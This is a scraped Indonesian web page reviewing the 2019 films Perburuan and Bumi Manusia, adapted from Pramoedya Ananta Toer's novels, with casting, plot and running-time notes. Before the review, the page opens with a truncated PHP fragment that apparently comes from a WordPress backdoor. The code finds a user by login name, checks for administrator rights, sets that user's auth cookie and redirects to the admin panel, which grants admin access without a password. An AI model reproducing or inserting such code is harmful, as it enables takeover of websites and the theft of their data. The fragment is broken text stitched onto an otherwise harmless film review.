user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
Perburuan dan Bumi Manusia, Film Adaptasi Novel Pramoedya Ananta Toer Sambut Hut Ke-74 Republik Indonesia

17 Aug 2019

Foto: dok. Falcon Picture

Menyambut perayaan kemerdekaan ke-74 Republik Indonesia, dua film berlatar perjuangan diputar di bioskop; Perburuan dan Bumi Manusia. Yang unik, kedua film itu sama-sama diangkat dari novel karya penulis legendaris Indonesia, Pramoedya Ananta Toer atau kerap disebut Pram. Keduanya juga diproduksi oleh Falcon Picture.

Pramoedya terkenal akan karya-karyanya yang menggambarkan kegetiran pada masa penjajahan dan masalah sosial yang terjadi saat itu. Novel-novelnya yang dulu sempat dilarang beredar, kini digemari, bahkan oleh anak muda. Saking banyak penggemarnya, tak sedikit yang menanti dan penasaran pada eksekusi adaptasi novel dalam bentuk film. Kontroversi soal pemilihan pemain pun sempat mewarnai awal produksi. Bagi yang belum pernah membaca novelnya, berikut sedikit gambaran tentang film tersebut.

# Perburuan

Film ini mengambil setting tahun 1945, beberapa bulan sebelum proklamasi kemerdekaan Republik Indonesia. Film yang disutradarai Richard Oh ini menceritakan tentang perjuangan Hardo, diperankan Adipati Dolken, seorang anggota tentara pembela tanah air (PETA). Meski PETA adalah tentara bentukan Jepang, Hardo dan teman-temannya justru berbalik melawan Jepang. Karena itulah ia diburu. Keluarganya juga terancam. Di tengah perburuan Hardo juga menghadapi penghianatan. 

Film yang seakan bermaksud fokus pada pergolakan batin tokohnya ini juga menyelipkan kisah asmara Hardo dengan Ningsih, diperankan Ayushita, dan kalimat-kalimat sastra.

# Bumi Manusia
Advertisement

Bumi Manusia merupakan buku pertama dari Tetralogi Buru karya Pram yang pertama kali diterbitkan oleh Hasta Mitra pada 1980. Buku ini ia tulis ketika diasingkan di Pulau Buru sebagai tahanan politik.

Menceritakan Minke, diperankan Iqbal Ramadan, seorang anak bupati yang terusik melihat jurang antara orang Belanda yang saat itu menjajah bumi pertiwi dan rakyat Indonesia yang saat itu disebut bumiputra. Pemikiran Minke itu menjadi caranya untuk memperjuangan rakyat tanpa mengangkat senjata. Film perjuangan yang dibalut kisah asrama antara Minke dan Annelies Mellema, diperankan Mawar Eva de Jongh, ini juga menceritakan tentang kepelikan kehidupan ibu Annelies, yaitu Nyai Ontosoroh, diperanan Sha Ine Febrianti

Salah satu tip menonton film yang diadaptasi dari buku adalah tidak membanding-bandingkan. Jika Anda perah membaca bukunya, lepaskan pikiran dari bayangan tokoh yang Anda imajinasikan. Rasanya tak terlalu tepat jika membandingkan film dan novel. Masing-masing memiliki keindahan tersendiri. 

Keduanya sama menarik untuk ditonton akhir pekan ini. Dari sisi durasi, Perburuan yang hanya 98 menit jauh lebih singkat dari Bumi Manusia yang sekitar 172 menit. Mungkin Anda perlu menyiapkan camilan saat menonton akting Iqbal. (f)

Baca Juga:

3 Buku Pilihan Minggu Ini: The Fifth To Die, Tukar Takdir, Entrepreneur Talks Tujuh Strategi Mengembangkan Bisnis
Pesta dan Diskon Untuk Merayakan Hari Kemerdekaan ke-74 Republik Indonesia
 
 



Topic

#filmindonesia

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?